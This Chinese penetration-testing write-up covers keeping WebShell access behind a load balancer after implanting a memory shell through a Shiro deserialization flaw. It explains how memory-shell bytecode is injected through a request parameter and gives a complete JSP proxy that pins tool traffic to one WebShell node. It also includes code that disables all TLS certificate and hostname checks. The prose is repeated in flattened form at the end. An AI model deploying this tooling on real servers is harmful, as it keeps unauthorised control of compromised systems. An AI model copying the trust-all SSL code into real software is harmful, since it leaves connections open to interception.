负载均衡踩坑记
字数 1390 2025-08-04 00:38:02

负载均衡环境下WebShell连接问题解决方案

问题背景

在渗透测试过程中,当通过Shiro反序列化漏洞植入内存马获取Shell后,如果目标主机处于负载均衡环境中,使用冰蝎、蚁剑等WebShell管理工具上传大文件时会失败。这是因为负载均衡环境下请求可能被分发到不同节点,导致文件上传不完整或失败。

问题分析

问题一:为什么Shell管理工具文件上传需要分包?

  1. Tomcat默认限制:Tomcat默认参数大小为2MB,超过此限制的请求会被拒绝
  2. 工具实现机制
    • 蚁剑等工具默认设置分片大小为500KB
    • 尝试增大分片大小(如5000KB)会导致上传失败
    • 上传内容通常存储在请求参数中(如蚁剑的z2参数)

问题二:是否有其他方式上传大文件?

  1. 自定义上传点:可以构造一个上传表单,通过解析上传内容实现一次性上传大文件
  2. 局限性:这种方法只是临时解决方案,没有从根本上解决负载均衡下的WebShell连接问题

问题三:负载均衡下WebShell连接的解决方案

HTTP代理方案:实现一个HTTP代理,将所有对WebShell的连接请求都代理到指定的一台节点上处理,客户端只需与代理交互。

环境搭建

为了模拟测试环境:

  • 负载均衡主机:Tomcat服务器(192.168.3.1:8088),部署有WebShell(test666.jsp)
  • 代理服务器:SpringBoot应用(192.168.3.1:8089),负责转发请求到Tomcat

技术实现

步骤一:接收请求内容并发给目标

  1. 请求处理:代理不关心具体请求内容,直接获取原始请求的InputStream
  2. SpringBoot的坑点:SpringBoot在到达Controller前会读取InputStream,导致Controller中无法再次获取内容
  3. 解决方案:使用Filter内存马,在doFilter中添加代理逻辑

步骤二:获取目标返回结果并返回给客户端

  1. 响应处理差异
    • 蚁剑:返回字符数据,可使用字符流处理
    • 冰蝎:返回字节码,必须使用字节流(OutputStream)处理

内存马种植问题

  1. 请求头过长问题:通过Shiro植入内存马时可能遇到请求头过长限制
  2. 解决方案分析
    • 使用特定工具(GitHub项目)注入内存马
    • 该工具使用dy参数传递内存马Base64编码的字节码
    • RememberMe字段仅用于加载内存马的Loader
  3. 实现原理
    • 服务端通过TemplatesImpl将_bytecodes中的类实例化
    • 反射获取request对象的dy参数,Base64解码后通过defineClass加载类
    • 调用equal方法添加Filter或Servlet内存马

SSL问题处理

当目标使用自签名SSL证书时,需要忽略SSL验证:

public static void ignoreSsl() throws Exception {
    HostnameVerifier hv = (urlHostName, session) -> true;
    trustAllHttpsCertificates();
    HttpsURLConnection.setDefaultHostnameVerifier(hv);
}

private static void trustAllHttpsCertificates() throws Exception {
    TrustManager[] trustAllCerts = new TrustManager[] { 
        new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() { return null; }
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) {}
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) {}
        } 
    };
    SSLContext sc = SSLContext.getInstance("TLS");
    sc.init(null, trustAllCerts, new java.security.SecureRandom());
    HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}

完整JSP实现代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "https://127.0.0.1:8443/test666.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

关键点总结

  1. 负载均衡环境下WebShell连接的核心问题:请求被分发到不同节点导致状态不一致
  2. 解决方案本质:通过代理确保所有请求都发送到同一节点处理
  3. 实现注意事项
    • 正确处理请求和响应的数据流(区分字符流和字节流)
    • 处理可能存在的SSL证书验证问题
    • 内存马注入时的请求头大小限制问题
  4. 扩展性思考:该方案不仅适用于WebShell管理,也可用于其他需要保持会话一致性的场景

参考文章

负载均衡环境下WebShell连接问题解决方案 问题背景 在渗透测试过程中,当通过Shiro反序列化漏洞植入内存马获取Shell后,如果目标主机处于负载均衡环境中,使用冰蝎、蚁剑等WebShell管理工具上传大文件时会失败。这是因为负载均衡环境下请求可能被分发到不同节点,导致文件上传不完整或失败。 问题分析 问题一:为什么Shell管理工具文件上传需要分包? Tomcat默认限制 :Tomcat默认参数大小为2MB,超过此限制的请求会被拒绝 工具实现机制 : 蚁剑等工具默认设置分片大小为500KB 尝试增大分片大小(如5000KB)会导致上传失败 上传内容通常存储在请求参数中(如蚁剑的z2参数) 问题二:是否有其他方式上传大文件? 自定义上传点 :可以构造一个上传表单,通过解析上传内容实现一次性上传大文件 局限性 :这种方法只是临时解决方案,没有从根本上解决负载均衡下的WebShell连接问题 问题三:负载均衡下WebShell连接的解决方案 HTTP代理方案 :实现一个HTTP代理,将所有对WebShell的连接请求都代理到指定的一台节点上处理,客户端只需与代理交互。 环境搭建 为了模拟测试环境: 负载均衡主机 :Tomcat服务器(192.168.3.1:8088),部署有WebShell(test666.jsp) 代理服务器 :SpringBoot应用(192.168.3.1:8089),负责转发请求到Tomcat 技术实现 步骤一:接收请求内容并发给目标 请求处理 :代理不关心具体请求内容,直接获取原始请求的InputStream SpringBoot的坑点 :SpringBoot在到达Controller前会读取InputStream,导致Controller中无法再次获取内容 解决方案 :使用Filter内存马,在doFilter中添加代理逻辑 步骤二:获取目标返回结果并返回给客户端 响应处理差异 : 蚁剑:返回字符数据,可使用字符流处理 冰蝎:返回字节码,必须使用字节流(OutputStream)处理 内存马种植问题 请求头过长问题 :通过Shiro植入内存马时可能遇到请求头过长限制 解决方案分析 : 使用特定工具(GitHub项目)注入内存马 该工具使用dy参数传递内存马Base64编码的字节码 RememberMe字段仅用于加载内存马的Loader 实现原理 : 服务端通过TemplatesImpl将_ bytecodes中的类实例化 反射获取request对象的dy参数,Base64解码后通过defineClass加载类 调用equal方法添加Filter或Servlet内存马 SSL问题处理 当目标使用自签名SSL证书时,需要忽略SSL验证: 完整JSP实现代码 关键点总结 负载均衡环境下WebShell连接的核心问题 :请求被分发到不同节点导致状态不一致 解决方案本质 :通过代理确保所有请求都发送到同一节点处理 实现注意事项 : 正确处理请求和响应的数据流(区分字符流和字节流) 处理可能存在的SSL证书验证问题 内存马注入时的请求头大小限制问题 扩展性思考 :该方案不仅适用于WebShell管理,也可用于其他需要保持会话一致性的场景 参考文章 负载均衡下的 WebShell 连接 by Medicean